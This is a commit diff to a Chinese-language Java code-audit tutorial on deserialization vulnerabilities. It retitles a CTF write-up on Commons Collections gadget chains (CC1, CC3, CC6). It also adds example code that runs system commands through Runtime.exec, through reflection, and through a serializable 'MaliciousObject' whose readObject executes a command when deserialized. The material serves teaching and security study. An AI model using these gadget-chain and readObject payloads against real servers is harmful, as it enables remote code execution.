Skip to content

Commit 5dc73c2

Browse files
committed
关于反序列化知识点补充
1 parent 15f58f9 commit 5dc73c2

File tree

2 files changed

+245
-7
lines changed

2 files changed

+245
-7
lines changed

src/CodeAudittutorial/3-JavaVul/CTFDeserBug.md

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
# CTF - DeserBug
1+
# 一道CTF题(DeserBug)引发的Java反序列化链拼接方法思考
22

33
## 目录
44

@@ -527,7 +527,7 @@ InstantiateTransformer → 需要Class对象 // 类型不匹配!
527527

528528
### 经典组合示例
529529

530-
#### 组合1CC6 = HashMap触发 + InvokerTransformer+ Runtime.exec()
530+
#### CC6 = HashMap触发 + InvokerTransformer+ Runtime.exec()
531531

532532
```java
533533
// [触发器] HashMap
@@ -550,7 +550,7 @@ LazyMap lazyMap = LazyMap.decorate(new HashMap(), new ChainedTransformer(transfo
550550
// → ChainedTransformer → Runtime.exec()
551551
```
552552

553-
#### 组合2CC1 = TransformedMap触发 + InvokerTransformer + Runtime.exec()
553+
#### CC1 = TransformedMap触发 + InvokerTransformer + Runtime.exec()
554554

555555
```java
556556
// [触发器] AnnotationInvocationHandler + TransformedMap
@@ -573,7 +573,7 @@ Transformer[] transformers = new Transformer[]{
573573
// → Runtime.getRuntime().exec() → RCE
574574
```
575575

576-
#### 组合3CC3 = 动态代理触发 + InstantiateTransformer + TemplatesImpl
576+
#### CC3 = 动态代理触发 + InstantiateTransformer + TemplatesImpl
577577

578578
```java
579579
// [触发器] AnnotationInvocationHandler + 动态代理 + LazyMap
@@ -598,7 +598,7 @@ Transformer[] transformers = new Transformer[]{
598598
// → new TrAXFilter(templates) → templates.newTransformer() → 字节码加载
599599
```
600600

601-
#### 组合4CC6触发 + CC3攻击(完整实现)
601+
#### CC6触发 + CC3攻击(完整实现)
602602

603603
这个组合结合了CC6的稳定触发和CC3的隐蔽攻击,是理论上的最优组合。
604604

src/CodeAudittutorial/3-JavaVul/deserialize.md

Lines changed: 240 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -189,6 +189,244 @@ public class Main {
189189

190190
- 具有继承性,父类可以序列化那么子类同样可以(递归)
191191

192+
### 为什么会产生安全问题?
193+
194+
只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,给予攻击者在服务器上运行代码的能力。
195+
196+
**可能的形式**
197+
198+
1. 入口类的readObject直接调用危险方法。
199+
200+
2. 入口类参数中包含可控类,该类有危险方法,readObject时调用,比如类型定义为Object,调用equals/hashcode/toString。
201+
202+
3. 入口类参数中包含可控类,该类又调用其他有危险方法的类,重点 相同类型 同名函数
203+
204+
4. 构造函数/静态代码块等类加载时隐式执行。
205+
206+
- 共同条件 继承Serializable
207+
208+
- 入口类 source(重写readObject 参数类型宽泛 最好jdk自带,最好的例子就是HashMap)
209+
210+
- 调用链 gadget chain
211+
212+
- 执行类 sink (rce ssrf 写文件等等)
213+
214+
### Java 反序列化执行系统命令
215+
216+
在Java反序列化漏洞中,最终目标往往是执行系统命令。下面介绍三种执行系统命令的方式:
217+
218+
#### 1. 正常执行系统命令
219+
220+
最直接的方式是使用`Runtime.getRuntime().exec()`方法:
221+
222+
```java
223+
import java.io.IOException;
224+
225+
public class NormalExec {
226+
public static void main(String[] args) {
227+
try {
228+
// 直接调用Runtime执行命令
229+
Runtime.getRuntime().exec("calc");
230+
231+
// 或者执行更复杂的命令
232+
Process process = Runtime.getRuntime().exec("whoami");
233+
234+
// 读取命令输出
235+
java.io.BufferedReader reader = new java.io.BufferedReader(
236+
new java.io.InputStreamReader(process.getInputStream())
237+
);
238+
String line;
239+
while ((line = reader.readLine()) != null) {
240+
System.out.println(line);
241+
}
242+
} catch (IOException e) {
243+
e.printStackTrace();
244+
}
245+
}
246+
}
247+
```
248+
249+
**特点:**
250+
251+
- 简单直接,无需额外配置
252+
- 但在实际漏洞利用中,往往无法直接调用`Runtime`对象
253+
- `Runtime`类没有实现`Serializable`接口,无法被序列化
254+
255+
#### 2. 反射执行系统命令
256+
257+
使用Java反射机制可以绕过一些限制,动态调用`Runtime`类的方法:
258+
259+
**方式1:使用`Class.forName()`完整的反射调用链**
260+
261+
```java
262+
import java.lang.reflect.Method;
263+
264+
public class ReflectionExec1 {
265+
public static void main(String[] args) {
266+
try {
267+
// 通过Class.forName获取Runtime类
268+
Class<?> runtimeClass = Class.forName("java.lang.Runtime");
269+
// 获取getRuntime方法
270+
Method getRuntimeMethod = runtimeClass.getMethod("getRuntime");
271+
// 调用getRuntime方法获取Runtime实例
272+
Object runtime = getRuntimeMethod.invoke(null);
273+
// 获取exec方法
274+
Method execMethod = runtimeClass.getMethod("exec", String.class);
275+
// 调用exec方法执行命令
276+
execMethod.invoke(runtime, "calc");
277+
278+
} catch (Exception e) {
279+
e.printStackTrace();
280+
}
281+
}
282+
}
283+
```
284+
285+
**方式2:使用`Runtime.class`直接获取类对象**
286+
287+
```java
288+
import java.lang.reflect.Method;
289+
290+
public class ReflectionExec2 {
291+
public static void main(String[] args) {
292+
try {
293+
// 直接使用Runtime.class获取类对象
294+
Class<?> runtimeClass = Runtime.class;
295+
// 获取getRuntime方法
296+
Method getRuntimeMethod = runtimeClass.getMethod("getRuntime");
297+
// 调用getRuntime方法获取Runtime实例
298+
Runtime runtime = (Runtime) getRuntimeMethod.invoke(null);
299+
// 获取exec方法
300+
Method execMethod = runtimeClass.getMethod("exec", String.class);
301+
// 调用exec方法执行命令
302+
execMethod.invoke(runtime, "calc");
303+
304+
} catch (Exception e) {
305+
e.printStackTrace();
306+
}
307+
}
308+
}
309+
```
310+
311+
**反射执行的完整链路:**
312+
313+
```
314+
Runtime.class
315+
→ getMethod("getRuntime")
316+
→ invoke(null)
317+
→ getMethod("exec", String.class)
318+
→ invoke(runtime, "calc")
319+
```
320+
321+
**为什么使用Runtime.class而不是Runtime.getRuntime()?**
322+
323+
- `Runtime.getRuntime()`返回的是`java.lang.Runtime`对象,无法序列化
324+
- `Runtime.class`返回的是`java.lang.Class`对象,实现了`Serializable`接口,可以被序列化
325+
326+
#### 3. 反序列化执行系统命令
327+
328+
在反序列化场景中,通过重写`readObject()`方法,在反序列化时自动执行命令:
329+
330+
```java
331+
import java.io.*;
332+
import java.lang.reflect.Method;
333+
334+
public class DeserializeExec {
335+
public static void main(String[] args) {
336+
try {
337+
// 第一步:序列化恶意对象到文件
338+
System.out.println("=== 开始序列化 ===");
339+
MaliciousObject obj = new MaliciousObject("open -a claculator");
340+
serialize(obj, "malicious.ser");
341+
System.out.println("对象已序列化到文件: malicious.ser");
342+
343+
System.out.println("\n=== 开始反序列化 ===");
344+
// 第二步:从文件中反序列化对象(此时会触发命令执行)
345+
MaliciousObject deserializedObj = (MaliciousObject) deserialize("malicious.ser");
346+
System.out.println("对象已反序列化,命令已执行");
347+
System.out.println("对象属性 name: " + deserializedObj.name);
348+
349+
} catch (Exception e) {
350+
e.printStackTrace();
351+
}
352+
}
353+
354+
// 序列化方法:将对象写入文件
355+
public static void serialize(Object obj, String fileName) throws IOException {
356+
FileOutputStream fos = new FileOutputStream(fileName);
357+
ObjectOutputStream oos = new ObjectOutputStream(fos);
358+
oos.writeObject(obj);
359+
oos.close();
360+
fos.close();
361+
}
362+
363+
// 反序列化方法:从文件中读取对象
364+
public static Object deserialize(String fileName) throws IOException, ClassNotFoundException {
365+
FileInputStream fis = new FileInputStream(fileName);
366+
ObjectInputStream ois = new ObjectInputStream(fis);
367+
Object obj = ois.readObject();
368+
ois.close();
369+
fis.close();
370+
return obj;
371+
}
372+
}
373+
374+
// 恶意类:必须实现Serializable接口
375+
class MaliciousObject implements Serializable {
376+
private static final long serialVersionUID = 1L;
377+
public String command; // 改为command,用于指定要执行的命令
378+
379+
public MaliciousObject(String command) {
380+
this.command = command;
381+
}
382+
383+
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
384+
ois.defaultReadObject();
385+
386+
System.out.println("readObject方法被调用,开始执行命令: " + command);
387+
388+
try {
389+
Runtime.getRuntime().exec(command);
390+
System.out.println("命令执行成功!");
391+
} catch (Exception e) {
392+
e.printStackTrace();
393+
}
394+
}
395+
}
396+
```
397+
398+
**关键点:**
399+
400+
1. **必须实现`Serializable`接口** - 这是序列化的前提条件
401+
402+
2. **重写`readObject()`方法** - 使用特定的方法签名:
403+
404+
```java
405+
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException
406+
```
407+
408+
3. **调用`defaultReadObject()`** - 保证对象能正常反序列化:
409+
410+
```java
411+
ois.defaultReadObject();
412+
```
413+
414+
如果不调用此方法,对象的属性将无法被正确还原
415+
416+
4. **反序列化自动触发** - 当服务端调用`readObject()`反序列化数据时,会自动执行重写的`readObject()`方法中的恶意代码
417+
418+
**这就是反序列化漏洞的核心原理:**
419+
420+
- 攻击者构造包含恶意`readObject()`方法的序列化对象
421+
- 服务端反序列化时自动执行`readObject()`中的代码
422+
- 从而实现远程命令执行(RCE)
423+
424+
**为什么这样危险?**
425+
426+
- 服务端无法控制`readObject()`中执行的代码
427+
- 只要反序列化数据,就会自动执行恶意代码
428+
- 攻击者可以执行任意系统命令,完全控制服务器
429+
192430
### Java 反序列化漏洞利用链条分析
193431

194432
#### URLDNS 链
@@ -423,7 +661,7 @@ r.exec("calc"); //调用exec
423661
new Transformer[]{
424662
new ConstantTransformer(Runtime.class), //返回Runtime类
425663

426-
new InvokerTransformer("getMethod", //反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
664+
new InvokerTransformer("getMethod", //反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
427665
new Class[]{String.class, class[].class},
428666
new Object[]{"getRuntime", new Class[0]})
429667
}
@@ -521,7 +759,7 @@ Object o = declaredConstructor.newInstance(Retention.class, tmap);
521759
}
522760
```
523761

524-
核心逻辑就是 `Iterator var4 = this.memberValues.entrySet().iterator();` 和` var5.setValue(...)`
762+
核心逻辑就是 `Iterator var4 = this.memberValues.entrySet().iterator();` 和`var5.setValue(...)`
525763

526764
memberValues 就是反序列化后得到的 Map,也是经过了 TransformedMap 修饰的对象,这里遍历了它的所有元素,并依次设置值。在调用 setValue 设置值的时候就会触发 TransformedMap 里注册的 Transform,进而执行我们为其精心设计的任意代码。
527765

0 commit comments

Comments
 (0)